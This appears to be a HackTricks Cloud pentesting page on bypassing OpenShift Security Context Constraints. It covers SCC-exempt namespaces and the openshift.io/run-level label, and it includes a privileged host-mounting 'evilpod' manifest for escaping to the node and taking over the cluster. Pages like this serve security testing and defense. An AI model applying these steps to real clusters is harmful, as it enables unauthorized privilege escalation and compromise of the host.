HackTricks Cloud
HackTricks Training Twitter Linkedin Sponsor

OpenShift - SCC bypass

The original author of this page is Guillaume

Privileged Namespaces

By default, SCC does not apply on following projects :

  • default

  • kube-system

  • kube-public

  • openshift-node

  • openshift-infra

  • openshift

If you deploy pods within one of those namespaces, no SCC will be enforced, allowing for the deployment of privileged pods or mounting of the host file system.

Namespace Label

There is a way to disable the SCC application on your pod according to RedHat documentation. You will need to have at least one of the following permission :

  • Create a Namespace and Create a Pod on this Namespace

  • Edit a Namespace and Create a Pod on this Namespace

$ oc auth can-i create namespaces
  yes

$ oc auth can-i patch namespaces
  yes

The specific labelopenshift.io/run-level enables users to circumvent SCCs for applications. As per RedHat documentation, when this label is utilized, no SCCs are enforced on all pods within that namespace, effectively removing any restrictions.

Add Label

To add the label in your namespace :

$ oc label ns MYNAMESPACE openshift.io/run-level=0

To create a namespace with the label through a YAML file:

apiVersion: v1
kind: Namespace
metadata:
  name: evil
  labels:
    openshift.io/run-level: 0

Now, all new pods created on the namespace should not have any SCC

$ oc get pod -o yaml | grep 'openshift.io/scc'
$

In the absence of SCC, there are no restrictions on your pod definition. This means that a malicious pod can be easily created to escape onto the host system.

apiVersion: v1
kind: Pod
metadata:
  name: evilpod
  labels:
    kubernetes.io/hostname: evilpod 
spec:
  hostNetwork: true #Bind pod network to the host network 
  hostPID: true #See host processes
  hostIPC: true #Access host inter processes
  containers:
  - name: evil    
    image: MYIMAGE
    imagePullPolicy: IfNotPresent
    securityContext:
      privileged: true
      allowPrivilegeEscalation: true  
    resources:
      limits:
        memory: 200Mi
      requests:
        cpu: 30m
        memory: 100Mi
    volumeMounts:
    - name: hostrootfs
      mountPath: /mnt
  volumes:
  - name: hostrootfs
    hostPath:
      path:

Now, it has become easier to escalate privileges to access the host system and subsequently take over the entire cluster, gaining 'cluster-admin' privileges. Look for Node-Post Exploitation part in the following page :

pageAttacking Kubernetes from inside a Pod

Custom labels

Furthermore, based on the target setup, some custom labels / annotations may be used in the same way as the previous attack scenario. Even if it is not made for, labels could be used to give permissions, restrict or not a specific resource.

Try to look for custom labels if you can read some resources. Here a list of interesting resources :

  • Pod

  • Deployment

  • Namespace

  • Service

  • Route

$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5

List all privileged namespaces

$ oc get project -o yaml | grep 'run-level' -b5

Advanced exploit

In OpenShift, as demonstrated earlier, having permission to deploy a pod in a namespace with the openshift.io/run-levellabel can lead to a straightforward takeover of the cluster. From a cluster settings perspective, this functionality cannot be disabled, as it is inherent to OpenShift's design.

However, mitigation measures like Open Policy Agent GateKeeper can prevent users from setting this label.

To bypass GateKeeper's rules and set this label to execute a cluster takeover, attackers would need to identify alternative methods.

References

PreviousOpenShift - Tekton

Last updated